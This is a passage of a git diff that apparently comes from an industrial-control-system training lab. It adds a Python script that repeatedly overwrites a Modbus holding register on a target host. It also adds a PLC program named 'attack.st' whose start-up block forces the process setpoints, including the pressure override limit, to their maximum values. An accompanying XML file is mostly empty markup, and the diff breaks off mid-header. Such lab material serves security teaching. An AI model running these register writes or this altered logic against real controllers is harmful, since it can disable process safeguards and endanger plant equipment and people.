i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 